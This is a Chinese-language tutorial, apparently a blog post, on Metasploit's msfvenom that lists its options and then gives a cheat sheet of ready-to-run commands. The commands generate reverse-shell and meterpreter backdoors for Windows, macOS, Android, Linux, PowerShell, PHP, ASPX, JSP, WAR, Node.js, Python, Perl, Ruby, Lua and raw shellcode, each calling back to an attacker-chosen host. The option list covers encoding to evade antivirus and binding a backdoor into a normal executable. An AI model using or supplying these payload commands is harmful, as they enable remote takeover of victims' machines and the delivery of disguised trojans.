天天看點

msfvenom基本介紹

Kali中的 msfvenom 取代了msfpayload和msfencode,常用于生成後門木馬

msfpayload是MSF攻擊荷載生成器,用于生成shellcode和可執行代碼。

msfencode是MSF編碼器。

一 、msfvenom 常用參數

-l  列出指定子產品的所有可用資源,子產品類型包括: payloads, encoders, nops, all

-p 指定需要使用的payload(攻擊荷載)。

-f 指定輸出格式

Executable formats:Asp、aspx、aspx-exe、axis2、dll、elf、elf-so、exe、exe-only、exe-service、exe-smallhta-psh、jar、jsp、loop-vbs、macho、msi、msi-nouac、osx-app、psh、psh-cmd、psh-net、psh-reflection、python-reflection、vba、vba-exe、vba-psh、vbs、war;

Transform formats:base32、base64、bash、c、csharp、dw、dword、hex、java、js_be、js_le、num、perl、pl、powershell、ps1、py、python、raw、rb、ruby、sh、vbapplication、vbscript;

-e 指定需要使用的encoder(編碼器)編碼免殺。

-a 指定payload的目标架構

選擇架構平台:x86 | x64 | x86_64

Platforms:windows, netware, android, java, ruby, linux, cisco, solaris, osx, bsd, openbsd, bsdi, netbsd, freebsd, aix, hpux, irix, unix, php, javascript, python, nodejs, firefox, mainframe

-o 儲存payload檔案輸出。

-b 設定規避字元集,比如: '\x00\xff'避免使用的字元

-n 為payload預先指定一個NOP滑動長度

-s 設定有效攻擊荷載的最大長度生成payload的最大長度,就是檔案大小。

-i 指定payload的編碼次數

-c 指定一個附加的win32 shellcode檔案

-x 指定一個自定義的可執行檔案作為模闆

例如:原先有個正常檔案normal.exe 可以通過這個選項把後門捆綁到這個程式上面。

-k 保護模闆程式的動作,注入的payload作為一個新的程序運作

例如:原先有個正常檔案normal.exe 可以通過這個選項把後門捆綁到這個程式上面。

-v 指定一個自定義的變量,以确定輸出格式

二、各平台生成payload指令

Windows

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp

LHOST=192.168.3.33 LPORT=4444 -e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 10  -f exe -o payload.exe

---

Mac

msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=192.168.3.33 LPORT=4444 -f macho -o payload.macho

---

Android

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4567  -o payload.apk

---

Powershell

msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=192.168.1.1 LPORT=8888 -e cmd/powershell_base64 -i 3 -f raw -o payload.ps1

---

Linux

msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f elf -o payload.elf

---

php

msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.1.1  LPORT=8888  -f raw > shell.php

---

aspx

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=8888 -f aspx -o payload.aspx

---

JSP

msfvenom --platform java -p java/jsp_shell_reverse_tcp LHOST=192.168.1.1  LPORT=4567 -f raw -o payload.jsp

---

war

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f raw - o payload.war

---

nodejs

msfvenom -p nodejs/shell_reverse_tcp LHOST=192.168.1.1  LPORT=4567 -f raw -o payload.js

---

python

msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.1  LPORT=4567 -f raw -o payload.py

---

perl

msfvenom -p cmd/unix/reverse_perl LHOST=192.168.1.1  LPORT=4567 -f raw -o payload.pl

---

ruby

msfvenom -p ruby/shell_reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f raw -o payload.rb

---

lua

msfvenom -p cmd/unix/reverse_lua LHOST=192.168.1.1 LPORT=4567 -f raw -o payload.lua

---

windows shellcode

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f c

---

linux shellcode

msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f c

---

mac shellcode

msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp  LHOST=192.168.1.1  LPORT=4567 -f c

---

繼續閱讀